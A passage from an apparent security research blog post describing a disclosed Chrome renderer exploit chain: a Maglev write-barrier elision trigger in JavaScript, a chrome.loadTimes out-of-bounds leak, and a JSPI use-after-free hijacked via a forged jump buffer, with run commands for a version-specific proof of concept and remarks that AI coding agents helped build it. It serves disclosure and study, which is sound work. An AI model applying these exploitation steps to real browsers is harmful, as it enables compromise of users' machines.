reuse an int32 form `x`\n\nmight already have:\n\n*Source: *\n\n`src/maglev/maglev-reducer-inl.h:603`\n\n```\n/// src/maglev/maglev-reducer-inl.h\n603 | ReduceResult MaglevReducer<BaseT>::GetInt32(ValueNode* value,\n604 |                                             bool can_be_heap_number) {\n605 |   value->MaybeRecordUseReprHint(UseRepresentation::kInt32);\n606 | \n607 |   if (ValueNode* int32_value = TryGetInt32(value)) {\n608 |     return int32_value;\n609 |   }\n\t\t...\n// =============================\n659 | ValueNode* MaglevReducer<BaseT>::TryGetInt32(ValueNode* value) {\n660 |   if (value->is_int32()) return value;\n661 | \n662 |   if (auto cst = TryGetInt32Constant(value)) {\n663 |     return graph()->GetInt32Constant(cst.value());\n664 |   }\n665 | \n666 |   if (ValueNode* alt = known_node_aspects().TryGetAlternativeFor(\n667 |           value, UseRepresentation::kInt32)) {\n668 |     return alt;\n669 |   }\n670 | \n671 |   return nullptr;\n672 | }\n```\n\nBut `x`\n\nis a fresh `kTagged`\n\nparameter, so all three checks fail: it isn't already an int32 (line 660), has no int32 constant (line 662), and has no `kInt32`\n\nalternative (line 666). With nothing to reuse, `GetInt32`\n\nfalls back to the Smi untag. The fix is to give `x`\n\na `kInt32`\n\nalternative before the `bT`\n\nstore: then `TryGetInt32`\n\nreturns it at line 666 and skips the untag (any `kInt32`\n\nview will do, unlike the constant we planted for `cT`\n\n).\n\nTo create that view, `GetInt32`\n\nitself has a branch that accepts a `HeapNumber`\n\n, the `kTagged`\n\ncase:\n\n*Source: *\n\n`src/maglev/maglev-reducer-inl.h:603`\n\n```\n603 | ReduceResult MaglevReducer<BaseT>::GetInt32(ValueNode* value,\n604 |                                             bool can_be_heap_number) {\n\t\t...\n617 | \n618 |   switch (value->properties().value_representation()) {\n619 |     case ValueRepresentation::kTagged: {\n620 |       if (can_be_heap_number &&\n621 |           !known_node_aspects().CheckType(broker(), value, NodeType::kSmi)) {\n622 |         return alternative.set_int32(\n623 |             AddNewNodeNoInputConversion<CheckedNumberToInt32>({value}));\n624 |       }\n```\n\nIt emits `CheckedNumberToInt32`\n\nand saves the result as `x`\n\n's `kInt32`\n\nalternative (`set_int32`\n\n), but only when `can_be_heap_number`\n\nis true. That flag is false by default; the only caller that sets it true is `EnsureInt32`\n\n, which runs when storing into a `kInt32`\n\n`ContextCell`\n\n. So the fix is another `let`\n\nvariable: `let aT = ...; aT = x;`\n\nbefore `bT`\n\n, where `aT`\n\nis a `kInt32`\n\n, which is the remaining obstacle.\n\n**Step 2: make a kInt32 ContextCell.**\n\nA cell reaches `kInt32`\n\nthrough `TransitionContextCellToUntagged`\n\n; the other transitions require it to already be `kInt32`\n\n:\n\n*Source: *\n\n`src/objects/contexts.cc:501`\n\n```\n/// src/objects/contexts.cc\n501 | V8_INLINE void TransitionContextCellToUntagged(Tagged<HeapNumber> number,\n502 |                                                DirectHandle<ContextCell> cell) {\n503 |   double double_value = number->value();\n504 |   if (auto int32_value = DoubleFitsInInt32(double_value)) {\n505 |     cell->set_int32_value(*int32_value);\n506 |     cell->set_state(ContextCell::kInt32);\n507 |   } \n\t\t...\n511 | }\n```\n\n`Context::Set`\n\ncalls it when a `kConst`\n\nor `kSmi`\n\ncell is assigned a `HeapNumber`\n\nthat fits in int32:\n\n*Source: *\n\n`src/objects/contexts.cc:544`\n\n```\n544 | void Context::Set(DirectHandle<Context> context, int index,\n545 |                   DirectHandle<Object> new_value, Isolate* isolate) {\n546 |   DirectHandle<Object> old_value(context->get(index, kRelaxedLoad), isolate);\n\t\t...\n578 |   DirectHandle<ContextCell> cell = Cast<ContextCell>(old_value);\n579 |   switch (cell->state()) {\n580 |     case ContextCell::kConst:\n\t\t\t...\n595 |       if (Is<Smi>(*new_value)) {\n\t\t\t...\n598 |       } else if (IsHeapNumber(*new_value)) {\n599 |         TransitionContextCellToUntagged(Cast<HeapNumber>(*new_value), cell);\n600 |         cell->clear_tagged_value();\n601 |       } else {\n\t\t\t...\n607 |     case ContextCell::kSmi:\n608 |       if (IsSmi(*new_value)) {\n\t\t\t...\n611 |       } else {\n612 |         NotifyContextCellStateWillChange(cell, isolate);\n613 |         if (IsHeapNumber(*new_value)) {\n614 |           TransitionContextCellToUntagged(Cast<HeapNumber>(*new_value), cell);\n615 |         } else {\n\t\t\t...\n```\n\nSo assigning an out-of-Smi-range number to a `kConst`\n\nor `kSmi`\n\ncell flips it to `kInt32`\n\n. That gives us the `aT`\n\nwe need, and the full trigger becomes:\n\n``` js\nconst f64src = new Float64Array(1);\nf64src[0] = 11.0; // Construct a HeapNumber\n\nlet aT = 1; // Get aT to be kConst to start with\naT = 0x40000000; // Turn aT into kInt32 since this value is outside 31-bit Smi range\n\n// bT is a kConst, because its initial value is the same as\n// what we use in the warm-up\nlet bT = 11;\n\n// cT is a global property\n// cT changes value but stays as a Smi, so it is kConstantType\n// Needed to take BuildCheckSmi path\nvar cT = 1; cT = 10; \n\nfunction at_bt_ct(x) {\n  aT = x;\n  bT = x;\n  cT = x;\n}\n\n%PrepareFunctionForOptimization(at_bt_ct);\nat_bt_ct(11);\nat_bt_ct(11);\n%OptimizeMaglevOnNextCall(at_bt_ct);\nat_bt_ct(f64src[0]);\n```\n\nThe trace confirms it: no `CheckSmi`\n\n, no `CheckedSmiUntag`\n\n, and the store to `cT`\n\nis `n15: StoreTaggedFieldNoWriteBarrier`\n\nwriting `n2`\n\n(our parameter `x`\n\n) with no barrier:\n\n```\n  0x13c00e40068  n2: InitialValue(a0)\n  0x13c011605b8  n8: Constant(0x02300104b301 <ContextCell[int32=11]>)\n...\n  0x13c01160918  n10: CheckedNumberToInt32 [n2], 0 uses, but required, cannot truncate to int32\n  0x13c01160a08  n11: StoreInt32ContextCell [n8, n10]\n...\n  0x13c01160be8  n13: CheckValueEqualsInt32(11, Storing to a constant field) [n10]\n...\n  0x13c01160dc0  n14: Constant(0x02300101e1d5 <PropertyCell name=0x02300101e019 <String[2]: #cT> value=11>)\n  0x13c01160e38  n15: StoreTaggedFieldNoWriteBarrier(0xc) [n14, n2]\n```\n\nOn a debug build, the missing write barrier is caught immediately:\n\n```\n#\n# Fatal error in ../../src/heap/heap.cc, line 6809\n# Check failed: !WriteBarrier::IsRequired(heap_object, Tagged<Object>(value)).\n#\n#\n#\n#FailureMessage Object: 0x16b0b95d8\n```\n\nHere's a summary of the trigger we built:\n\n*Step-by-step construction of the trigger*\n\n**Building Exploit Primitives**\n\nBefore building on the trigger, it's worth spelling out what the elided barrier actually bought us. Our store put a young-space `HeapNumber`\n\n(the boxed `f64src[0]`\n\n) into `cT`\n\n, a `PropertyCell`\n\nthat lives in Old Space, and skipped the write barrier that store needed. As the write-barrier section explained, that barrier is the only thing that would have recorded the new Old-to-Young pointer into the remembered set. With no record, the next Minor GC frees the still-referenced `HeapNumber`\n\nand reuses its memory, leaving `cT`\n\nholding a compressed pointer to memory V8 has already handed out. That stale pointer is the dangling reference the rest of Act I is built on.\n\nFrom here the goal is to turn it into a small, reusable set of memory primitives that every later step of the chain stands on. All of this work stays inside the **V8 cage**, also called the **V8 heap sandbox**.\n\n**V8 cage detour**\n\nThe V8 cage is designed to limit damage to the renderer process and the browser in the exact case we are working on here: memory corruption in JS `HeapObject`\n\ns. The V8 cage assumes that an attacker can freely corrupt V8 `HeapObject`\n\ns within a 1TB address space, yet cannot cause further damage outside it. It does so by translating pointer access to V8 `HeapObject`\n\ns from absolute addresses to relative addresses, using an offset from a fixed base address that is transparent to objects within this sandbox.\n\n*V8 heap sandbox address space*\n\nThere are two slightly different addressing mechanisms, corresponding to two types of cages within this 1TB sandbox:\n\n**The V8 Pointer Compression Cage**: Contains V8`HeapObject`\n\ns such as`JSArray`\n\n,`JSObject`\n\n,`String`\n\n,`HeapNumber`\n\n, etc. It’s called “Pointer Compression” because V8 uses only 32-bit values to represent the addresses of these`HeapObject`\n\ns, known as compressed pointers. This has existed since before the V8 heap sandbox came to life. The base address of this cage is the same as the start address of the V8 sandbox itself.**Other Sandboxed Pointer Cages**: These cages house WebAssembly memory and ArrayBuffer backing stores, which often contain raw bytes. Their addresses are sandboxed pointers because, even though they are 40-bit addresses, they are still accessed as offsets from fixed cage bases. The difference between this kind of cage and the V8 Pointer Compression Cage is that there can be multiple cages of this kind, starting at random addresses.\n\nThis matters to our exploitation plan because, as of right now, we can only work within the V8 Pointer Compression Cage using 32-bit addresses. Therefore, primitives achieved at this stage are often called caged primitives, such as caged read or caged write, implying 32-bit address read/write.\n\n**Exploitation plan**\n\nBuilding exploit primitives at this point is fairly straightforward. The goal is to ultimately have some, or at best all, of the primitives' holy grail: caged read, caged write, addrof, fakeobj.\n\nThe addrof/fakeobj pair at the center of that list goes back to Samuel Groß's * Attacking JavaScript Engines*, which introduced the duality we lean on here. A JavaScript number and an object reference are both just bits in a slot, and the engine tells them apart by the slot's declared type, not by inspecting the bits. Read a slot that holds a pointer as if it were a number and the raw address falls out, which is\n\n**addrof**. Write a number we picked into a slot the engine will later treat as a pointer and it follows us to an object of our making, which is\n\n**fakeobj**.\n\nThis is why the four primitives are not interchangeable. Caged read and write let us reach memory within the cage, but on their own they cannot tell us where a given JS object lives, nor hand us a usable reference to a forged one. addrof supplies the first by leaking the address of any object, and fakeobj supplies the second by turning an address back into an object the engine will operate on. Combined in the way Groß laid out, the two bootstrap a clean arbitrary read/write: fake a `JSArray`\n\nwhose backing store pointer you control, point it anywhere, and reading or writing its elements reads or writes that memory. That fully controlled read/write is the product we are after in Act I. Act II is where we spend it to get to code execution.\n\nThe dangling `HeapObject`\n\nreference through `cT`\n\ngives us a two-way view into the same underlying memory, so we can obtain a valid JS Object reference through `cT`\n\nwhile manipulating the internal representation of this `HeapObject`\n\nto turn it into virtually whatever we can forge.\n\n*Forging a fake JSArray in the reclaimed HeapNumber memory*\n\nThe plan is essentially:\n\nFree and reclaim the\n\n`HeapNumber`\n\nthat`cT`\n\npoints toForge a fake\n\n`JSArray`\n\nwith attacker-controlled length and elements pointer at the reclaimed memory to achieve cage-wide read/write primitivesAllocate a special\n\n`JSArray`\n\nthat contains an object along with a marker value to achieve addrof/fakeobj using the caged read/write primitives above.\n\nTo reliably facilitate the construction of addrof and fakeobj in step 3, we need to handle step 2 differently from a normal cage-wide primitive. This is because constructing addrof/fakeobj involves scanning the cage memory for the marker value we put in step 3’s `JSArray`\n\n, so we can read the address of the object put in that array for addrof, and do the reversal for fakeobj. This can unpredictably trigger garbage collection and change the heap layout, reducing the reliability of the scan.\n\nThe key to overcoming this issue is by reducing the variables in the scanning process, and avoiding triggering GC by reducing the number of scan iterations. For example:\n\nIn step 2, we forge a\n\n`JSArray`\n\nof length 0, and store 1 element to it to trigger legitimate array backing store allocation from V8. We then immediately allocate step 3’s`JSArray`\n\nso it has a high chance of being allocated right after step 2’s`JSArray`\n\n. The closer these two backing stores are, the fewer scan iterations we would need to reach the marker.We can further reduce uncertainty by anchoring the scan range instead of scanning indefinitely from step 2’s\n\n`JSArray`\n\n. By reading back the backing store pointer of step 2’s`JSArray`\n\n, we get a start offset in the cage to start the scan. We will only try to scan at most 1 page of committed memory (4KB) from here and bail out if we do not find the marker.\n\nWe illustrated one way the primitives can be constructed in the diagram below:\n\n*Building the exploit primitives*\n\nThis is a fairly common exploit flow, so for now it's left as an exercise for readers interested in building this chain. The hard part has already been done before this :) This part of the exploit chain is among the most fragile, though, due to how noisy the small HeapNumber-sized allocation is and how sensitive the heap spraying is to garbage collection. Claude and Codex handled this well, since they are good at looping toward a concrete goal until it is reached.\n\nWhile the primitives we've built up to this point are powerful, they are all inside the V8 sandbox. We can't touch or see anything outside the cage. For that, we need more bugs.\n\n**Act II: Escape With A Broken Promise**\n\nTo escape the V8 sandbox, we exploited a use-after-free vulnerability in JavaScript Promise Integration (JSPI). This feature has been known as a can of worms, which can literally enable control-flow hijacking. Let's see how it fails to hold up against us this time.\n\nBefore the deep dive, here is the escape end to end. Act I left us with `addrof`\n\n, `fakeobj`\n\n, and caged read/write, all trapped inside the V8 cage. Act II leverages them to break out and run native code in the renderer:\n\n**The bug**: a use-after-free in JSPI. When an uncatchable exception unwinds a WebAssembly stack, V8 retires the backing`StackMemory`\n\nbut forgets to clear the`WasmSuspenderObject`\n\n's pointer to it, leaving a dangling reference.**A leak to aim by**: caged read/write stay inside the cage, so we borrow an out-of-bounds read from a legacy`chrome.loadTimes`\n\nstring to leak the`chrome.dll`\n\nand cage base addresses our ROP chain will need.**Free and reclaim**: we`fakeobj`\n\nthe termination exception, throw it through WASM to reach the buggy unwind path, then force a GC and spray to reclaim the freed`StackMemory`\n\nwith a fake`jmpbuf`\n\nholding our own stack, frame, and instruction pointers.**Hijack**: we drive JSPI to resume the suspended stack, and the stack switch loads our`jmpbuf`\n\n, handing us`rsp`\n\nand`rip`\n\n. A ROP chain does the rest.\n\nThe rest of this section works through each step, but the bug hides in the details of how JSPI runs and how V8 implements it, so we start there.\n\n**Core Concepts**\n\n**JavaScript Promise Integration**\n\n[JSPI](https://v8.dev/blog/jspi) is a fairly new feature that, in a nutshell, makes WebAssembly (WASM) asynchronous!\n\nYeah, that's basically it. Before this feature, JavaScript and WASM were executed on the same stack. When JavaScript code calls WASM exports, it suspends JavaScript execution, starts executing in WASM, and only returns to JavaScript when it's done. For that reason, WASM had no way to transparently await async JS and then resume execution on the same stack, because that would require unwinding the entire WASM stack to return to JS.\n\nJSPI solves this problem by introducing a secondary stack for WASM execution, so JS and WASM execution don’t have to fight each other on the same stack anymore.\n\n*WASM stack suspending and resuming in JSPI*\n\nWith JSPI, the JS caller receives a promise (the **outer promise**) from the WASM export. That promise settles after the async JS called by that WASM settles (the **inner promise**). Execution is transferred back and forth between the 2 stacks to ensure the order of promise resolution.\n\nIn JSPI, there are a few important concepts around the execution stack:\n\nWhen the promised WASM export is called from JS, a stack\n\n**switch** is performed to transfer execution from the central JS stack to the secondary WASM stack.When WASM awaits async JS, JS\n\n**suspends** the secondary WASM stack (also called \"parking\" the stack).After the inner JS promise that WASM obtained settles, the WASM stack\n\n**resumes**.When WASM execution finishes or terminates for some reason, JS\n\n**retires** the secondary WASM stack.\n\nWith this much switching, JSPI has to be handled very carefully.\n\n**V8-specific implementation of JSPI**\n\nV8 execution environment (an `isolate`\n\n) has a `stack_pool`\n\nthat holds allocated finished `StackMemory`\n\nobjects that are reusable. Stack retirement moves the `StackMemory`\n\nobject into the `stack_pool`\n\n, where it waits, still allocated, to be used again. Only under sufficient memory pressure does `ReleaseFinishedStacks`\n\nactually deallocate these finished stacks.\n\n*Source: *\n\n`src/wasm/stacks.h:290`\n\n· `src/heap/heap.cc:1122`\n\n```\n// src/wasm/stacks.h\n290 | // A pool of \"finished\" stacks, i.e. stacks whose last frame have returned and\n291 | // whose memory can be reused for new suspendable computations.\n292 | class StackPool {\n293 |  public:\n294 |   // Gets a stack from the free list if one exists, else allocates it.\n295 |   std::unique_ptr<StackMemory> GetOrAllocate();\n296 |   // Adds a finished stack to the free list.\n297 |   void Add(std::unique_ptr<StackMemory> stack);\n298 |   // Decommit the stack memories and empty the freelist.\n299 |   void ReleaseFinishedStacks();\n...\n302 |  private:\n303 |   std::vector<std::unique_ptr<StackMemory>> freelist_;\n...\n308 | };\n\n// src/heap/heap.cc\n1122 | void Heap::GarbageCollectionEpilogueInSafepoint(GarbageCollector collector) {\n...\n1203 |   if (collector == GarbageCollector::MARK_COMPACTOR) {\n1211 |     if (ShouldReduceMemory()) {\n1212 |       memory_allocator_->ReleasePooledChunksImmediately();\n1213 | #if V8_ENABLE_WEBASSEMBLY\n1214 |       isolate_->stack_pool().ReleaseFinishedStacks();\n1215 | #endif\n1216 |     }\n1217 |   }\n...\n```\n\nIn V8, a `WasmSuspenderObject`\n\nis used to control execution of the secondary stack:\n\n*Source: *\n\n`src/wasm/wasm-objects.h:1601`\n\n```\n/// src/wasm/wasm-objects.h\n1601 | class WasmSuspenderObject\n...\n1610 |   enum State : int { kInactive = 0, kActive, kSuspended };\n1611 |   DECL_EXTERNAL_POINTER_ACCESSORS(stack, wasm::StackMemory*)\n1612 |   DECL_PROTECTED_POINTER_ACCESSORS(parent, WasmSuspenderObject)\n...\n1615 | };\n```\n\n**The Bug**\n\nThe root cause of this vulnerability lies in the improper cleanup of JSPI-related objects after WASM execution terminates. The excerpt below shows a proper cleanup order of the `WasmSuspenderObject`\n\nand the encapsulated `StackMemory`\n\nobject:\n\nLine 1108: Clear the\n\n`stack`\n\nfield of the`WasmSuspenderObject`\n\nLine 1099: Switch the execution stack to the correct one from the current WASM stack\n\nLine 1101: Retire the current WASM stack, eventually returning it to the\n\n`stack_pool`\n\n*Source: *\n\n`src/wasm/wasm-external-refs.cc:1104`\n\n· `src/execution/isolate.cc:4215`\n\n```\n/// src/wasm/wasm-external-refs.cc\n1104 | void return_jspi_stack(Isolate* isolate, wasm::StackMemory* to) {\n1105 |   Tagged<WasmSuspenderObject> suspender =\n1106 |       isolate->isolate_data()->active_suspender();\n1107 |   // Clear the external stack pointer to avoid a UAF.\n1108 |   suspender->set_stack(isolate, nullptr);\n1109 |   return_stack(isolate, to);\n1110 | }\n\n1093 | void return_stack(Isolate* isolate, wasm::StackMemory* to) {\n1094 |   // The active stack was already updated by the builtin.\n1095 |   wasm::StackMemory* from = isolate->isolate_data()->active_stack();\n\t\t...\n1099 |   isolate->SwitchStacks<JumpBuffer::Retired, JumpBuffer::Inactive>(\n1100 |       from, to, kNullAddress, kNullAddress, kNullAddress);\n1101 |   isolate->RetireWasmStack(from);\n1102 | }\n\n/// src/execution/isolate.cc\n4215 | void Isolate::RetireWasmStack(wasm::StackMemory* stack) {\n...\n4216 |  size_t index = stack->index();\n4219 |   std::unique_ptr<wasm::StackMemory> stack_ptr =\n4220 |       std::move(wasm_stacks()[index]);\n...\n4230 |   stack_pool().Add(std::move(stack_ptr));\n4231 | }\n```\n\nBesides normal execution termination, JSPI can also terminate execution on a thrown exception. In this case, the cleanup process will be handled by one of the most complex functions, `UnwindAndFindHandler`\n\n, which handles stack unwinding. In short, when an exception is thrown, V8 has to find the closest execution stack that can handle this exception. It does so by traversing the stack tree upward until it encounters the handler and passes the exception information to it. All the stack frames along this traversal are invalidated.\n\nIn this cleanup path, V8 does not clear the now-invalid `stack`\n\nfield like step 1 of the proper cleanup order above. The following code excerpt shows how this can be achieved:\n\nLine 2606: When walking up the stack from the current exception position, if it encounters a WASM JSPI stack and the exception is deemed uncatchable by JS, it does not retire that stack properly. It simply skips over it.\n\nLine 2659 onward: When the exception handler has been found, the\n\n`FoundHandler`\n\nlambda function is run. The loop starting at line 2523 retires every stack between the throw site and the found handler, including the now-inactive stacks.\n\nWe can see that nowhere in this process is the `stack`\n\nfield of the `WasmSuspenderObject`\n\ncleared, even when the `stack`\n\nhas been retired. Therefore, the suspender still holds a reference to the stale `StackMemory`\n\nobject, which now belongs to the `stack_pool`\n\nand will be garbage-collected under sufficient memory pressure.\n\n*Source: *\n\n`src/execution/isolate.cc:2488`\n\n· `src/execution/isolate-inl.h:190`\n\n```\n/// src/execution/isolate.cc\n2488 | Tagged<Object> Isolate::UnwindAndFindHandler() {\n\t\t...\n2497 |   Tagged<Object> exception = this->exception();\n\t\t...\n2499 | auto FoundHandler = [&](StackFrameIterator& iter, Tagged<Context> context,\n2500 |                           Address instruction_start, intptr_t handler_offset,\n2501 |                           Address constant_pool_address, Address handler_sp,\n2502 |                           Address handler_fp, int num_frames_above_handler) {\n\t\t\t...\n2513 | #if V8_ENABLE_WEBASSEMBLY\n\t\t\t...\n2518 |     wasm::StackMemory* active_stack = isolate_data_.active_stack();\n2519 |     if (active_stack != nullptr) {\n2520 |       wasm::StackMemory* parent = nullptr;\n2521 |       Tagged<WasmSuspenderObject> suspender =\n2522 |           isolate_data()->active_suspender();\n2523 |       while (active_stack != iter.wasm_stack()) {\n2524 |         parent = active_stack->jmpbuf()->parent;\n\t\t\t\t...\n2530 |         SwitchStacks<wasm::JumpBuffer::Retired, wasm::JumpBuffer::Inactive>(\n2531 |             active_stack, parent, kNullAddress, kNullAddress, kNullAddress);\n2532 |         if (suspender->has_parent() && parent == suspender->parent()->stack()) {\n2533 |           suspender = suspender->parent();\n2534 |         }\n2535 |         RetireWasmStack(active_stack);\n2536 |         active_stack = parent;\n2537 |       }\n2538 |       if (parent) {\n2539 |         // We switched at least once, update the active continuation.\n2540 |         isolate_data_.set_active_stack(active_stack);\n2541 |         isolate_data()->set_active_suspender(suspender);\n2542 |       }\n2543 |     }\n\t\t\t...\n2560 | #endif\n\t\t\t...\n2568 |     clear_internal_exception();\n2569 |     return exception;\n2570 |   };\n\t\t...\n2571 | \n2572 |   // Special handling of termination exceptions, uncatchable by JavaScript and\n2573 |   // Wasm code, we unwind the handlers until the top ENTRY handler is found.\n2574 |   bool catchable_by_js = is_catchable_by_javascript(exception);\n\t\t\t...\n2584 |   // Compute handler and stack unwinding information by performing a full walk\n2585 |   // over the stack and dispatching according to the frame type.\n\t\t\t...\n2587 |   for (StackFrameIterator iter(this, thread_local_top());; iter.Advance()) {\n\t\t\t...\n2592 |     int visited_frames = iter.frame()->iteration_depth();\n2593 | #if V8_ENABLE_WEBASSEMBLY\n2594 |     if (iter.frame()->type() == StackFrame::WASM_JSPI) {\n2595 |       if (catchable_by_js && iter.frame()->LookupCode()->builtin_id() !=\n2596 |                                  Builtin::kJSToWasmStressSwitchStacksAsm) {\n\t\t\t\t...\n2603 |          return FoundHandler(...);\n2606 |       } else {\n2607 |         // Just walk across the stack switch here. We only process it once we\n2608 |         // have reached the handler.\n2609 |         continue;\n2610 |       }\n2611 |     }\n2612 | #endif\n\t\t\t\t...\n2616 |     StackFrame* frame = iter.frame();\n2659 |     switch (frame->type()) {\n\t\t\t\tcase ...:\n\t\t\t\t\t...\n\t\t\t\t\treturn FoundHandler(...);\n2969 |     }\n\t\t...\n2982 | }\n\n// ==============================================\n2216 | Tagged<Object> Isolate::TerminateExecution() {\n2217 |   return Throw(ReadOnlyRoots(this).termination_exception());\n2218 | }\n\n/// src/execution/isolate-inl.h\n190 | bool Isolate::is_catchable_by_javascript(Tagged<Object> exception) {\n191 |   return exception != ReadOnlyRoots(heap()).termination_exception();\n192 | }\n```\n\nIn this process, V8 assumes that in the case of JSPI WASM stack unwinding, the suspender object can no longer be reachable at this point because it encountered a special internal exception identified by the `is_catchable_by_javascript`\n\npredicate. This can be broken for two reasons:\n\nThis special internal exception can be triggered using the built-in function\n\n`%TerminateExecution`\n\n, but under normal JS execution, users should not be able to trigger it. This may not be true for a compromised V8 cage.There is no guarantee that the suspender object is unreachable by a compromised V8 cage.\n\n**The Ancient Leak**\n\nSupposedly, the JSPI vulnerability gives us execution-flow control, but where to? We still only have caged read/write, so we need an information leak outside the cage.\n\nFor this part, we used an obscure leak coming from a legacy feature in Chrome. `chrome.loadTimes`\n\nis a native function that provides [performance statistics](https://developer.chrome.com/blog/chrome-loadtimes-deprecated). It was deprecated, but the code is still present. The important thing is that it has prebuilt JS source code attached, and this code is outside the V8 cage, in the `.rdata`\n\nsection. The reference to this source code is an `ExternalOneByteString`\n\nwhose header is inside the compromised V8 cage, which we can freely manipulate. There is no direct memory pointer in this header, but since it is a string, we can modify the `length`\n\nfield. Using the fakeobj primitive, we can obtain a direct JS reference to this string and use it to read data past the end of the `chrome.loadTimes`\n\nsource string.\n\n*Reading past a .rdata string into chrome.dll's .data through a corrupted ExternalOneByteString*\n\nThis second-hand out-of-bound read helps us reach the .data section, where we can leak the V8 cage base, and recover the base address of chrome.dll from a vtable pointer located only 96 bytes after the end of this source string. These will be used to determine where we direct execution and to build our ROP chain.\n\n**Jump And Escape**\n\nNow let's circle back to the JSPI world to see how we can control execution. We need to do 2 things:\n\nTrigger the free and reclaim of the dangling\n\n`StackMemory`\n\nobjectUse the\n\n`WasmSuspenderObject`\n\nto perform a stack switch to WASM, which uses the now attacker-controlled`StackMemory`\n\nin step 1\n\n**Free and reclaim **`StackMemory`\n\n`StackMemory`\n\nRecall that during stack unwinding, this dangling reference situation can occur only if an internal exception is thrown, specifically `kTerminationException`\n\n. While this is not normally accessible to JS (only via the built-in `%TerminateExecution`\n\n), it is a valid JS root object located at a static address inside the cage:\n\n*Source: *\n\n`src/roots/static-roots-intl-wasm.h:1068`\n\n```\n/// src/roots/static-roots-intl-wasm.h\n1068 |   static constexpr Tagged_t kTerminationException = 0xefffd;\n```\n\nGetting a JS reference to this object is as simple as calling `fakeobj(0xefffd)`\n\n, and we can throw this exception like any other. Now, we only need to create a JS import that throws this exception and call it from WASM code. Afterward, we trigger a Major GC to collect the objects in `stack_pool`\n\nand perform a spray to reclaim this memory.\n\nThis fake-the-exception step is the nudge we mentioned earlier: on the Chrome port, Claude couldn't reach it on its own.\n\n**Perform a stack switch**\n\n`StackMemory`\n\nhas a struct member `jmpbuf`\n\n, which is:\n\n*Source: *\n\n`src/wasm/stacks.h:32`\n\n```\n/// src/wasm/stacks.h\nstruct JumpBuffer {\n  Address sp;\n  Address fp;\n  Address pc;\n  ...\n}\n```\n\nIf we can manipulate this information and bypass any verification by WASM, we effectively control the execution flow: the instruction pointer and stack pointer all belong to us! Now we only need to find a way to make JSPI use this information. Recall how JSPI works: JS can resume WASM execution after suspending it, once the inner JS Promise settles. This inner Promise has the WASM resuming callback attached. Using our primitives to trace the path from a JS Promise to the `WasmSuspenderObject`\n\n, this is what we get.\n\n``` php\ninner Promise\n-> reactions_or_result: PromiseReaction\n-> fulfill_handler: JSFunction\n-> resume callback\n```\n\nWe can then forge a `JSFunction`\n\nreference to this callback using fakeobj. When we trigger the callback, it reaches the `WasmSuspenderObject`\n\nwith the stale `StackMemory`\n\n, and WASM execution resumes using our fake instruction pointer and stack pointer.\n\n``` php\nresume callback\n-> JSFunction.shared_function_info: SharedFunctionInfo\n-> SharedFunctionInfo.function_data: WasmResumeData\n-> trusted_suspender: WasmSuspenderObject\n-> stack: StackMemory*\n```\n\nWith all that information, let's revisit the plan to exploit the bug successfully:\n\n*Exploiting the JSPI StackMemory use-after-free to hijack execution*\n\nNote that calling this WASM resume callback triggers a stack switch. There is verification of the `jmpbuf`\n\nstruct, but it can be bypassed by simply forging its fields during the `StackMemory`\n\nspray.\n\n*Source: *\n\n`src/execution/isolate.cc:4115`\n\n```\n/// src/execution/isolate.cc\n4115 | void Isolate::SwitchStacks(wasm::StackMemory* from, wasm::StackMemory* to,\n4116 |                            Address sp, Address fp, Address pc) {\n4117 |   SBXCHECK_EQ(from->jmpbuf()->state, wasm::JumpBuffer::Active);\n...\n4119 |   constexpr bool is_resume =\n4120 |       expected_target_state == wasm::JumpBuffer::Suspended;\n...\n4139 |   SBXCHECK_EQ(to->jmpbuf()->state, expected_target_state);\n```\n\nIn the snippet above, `from`\n\nis the central JS stack, which is active at that time. Since we are resuming, the expected state of the `to`\n\nstack is `Suspended`\n\n. During our spray to reclaim the `StackMemory`\n\n, we simply forge this value to bypass this check.\n\n**The Full Chain In One File**\n\nEverything in this episode comes together in [ poc/poc.html](poc/poc.html).\n\nIts four stages map onto the two Acts:\n\n**Stage 1** is the Maglev write-barrier elision in Act I.**Stage 2** is the`chrome.loadTimes`\n\nleak.**Stages 3 and 4** are the JSPI use-after-free.\n\nIt targets Chrome for Testing 146.0.7680.208 on Windows x64, and the offsets, map constants, and ROP gadgets are all specific to it. To run it:\n\n```\npython3 -m http.server 8000\nchrome.exe --no-sandbox http://localhost:8000/poc.html\n```\n\nThe `--no-sandbox`\n\nflag is there because this episode stops at the renderer. The exploit already has native execution inside the renderer process, and dropping the OS sandbox simply lets the shellcode spawn a visible `notepad.exe`\n\n. Breaking out of that outer sandbox is the GPU-process story we save for a later episode.\n\nThat's it for the renderer. Next episode, we break out of the sandbox into the GPU process, with a novel Linux technique and more of what these machines can pull off. Until next time!\n\n**Responsible** **Disclosure Timeline**\n\n**Responsible**\n\n2026-03-10: Found and reported heap out-of-bound write vulnerability in Skia (crbug.com/491191118)\n\n2026-03-12: Skia vulnerability fixed in https://skia-review.googlesource.com/c/skia/+/1184756\n\n2026-04-08: Discovered the BuildCheckSmi vulnerability in Maglev and the UAF vulnerability in JSPI\n\n2026-04-08: Reported the Maglev bug to Google (crbug.com/500880819)\n\n2026-04-09: Reported the JSPI bug to Google (crbug.com/501147587)\n\n2026-04-14: Fix for Maglev bug landed in commit b9be4feb\n\n2026-04-15: Fix for JSPI bug landed in commit 13c76294\n\n2026-05-08: Submitted first exploit to Google\n\n2026-05-12: Submitted second exploit to Google\n\n2026-07-16: Published this blog entry\n\n*Disclaimer: No in-the-wild threat actors or exploit shops were harmed during the process. Some may be extremely frustrated because their vulnerabilities got burned for no particular reason rather than for fun and peanuts.*", "url": "https://wpnews.pro/news/journey-to-root-episode-i-the-maglev-king", "canonical_source": "https://blog.calif.io/p/journey-to-root-episode-i-the-maglev", "published_at": "2026-07-17 12:36:20+00:00", "updated_at": "2026-07-17 12:56:08.233324+00:00", "lang": "en", "topics": ["artificial-intelligence", "ai-tools", "ai-research", "ai-safety"], "entities": ["Google Chrome", "V8", "Gemini", "Claude", "Codex", "Chrome Vulnerability Reward Program", "Maglev", "Sterbenz's lemma"], "alternates": {"html": "https://wpnews.pro/news/journey-to-root-episode-i-the-maglev-king", "markdown": "https://wpnews.pro/news/journey-to-root-episode-i-the-maglev-king.md", "text": "https://wpnews.pro/news/journey-to-root-episode-i-the-maglev-king.txt", "jsonld": "https://wpnews.pro/news/journey-to-root-episode-i-the-maglev-king.jsonld"}}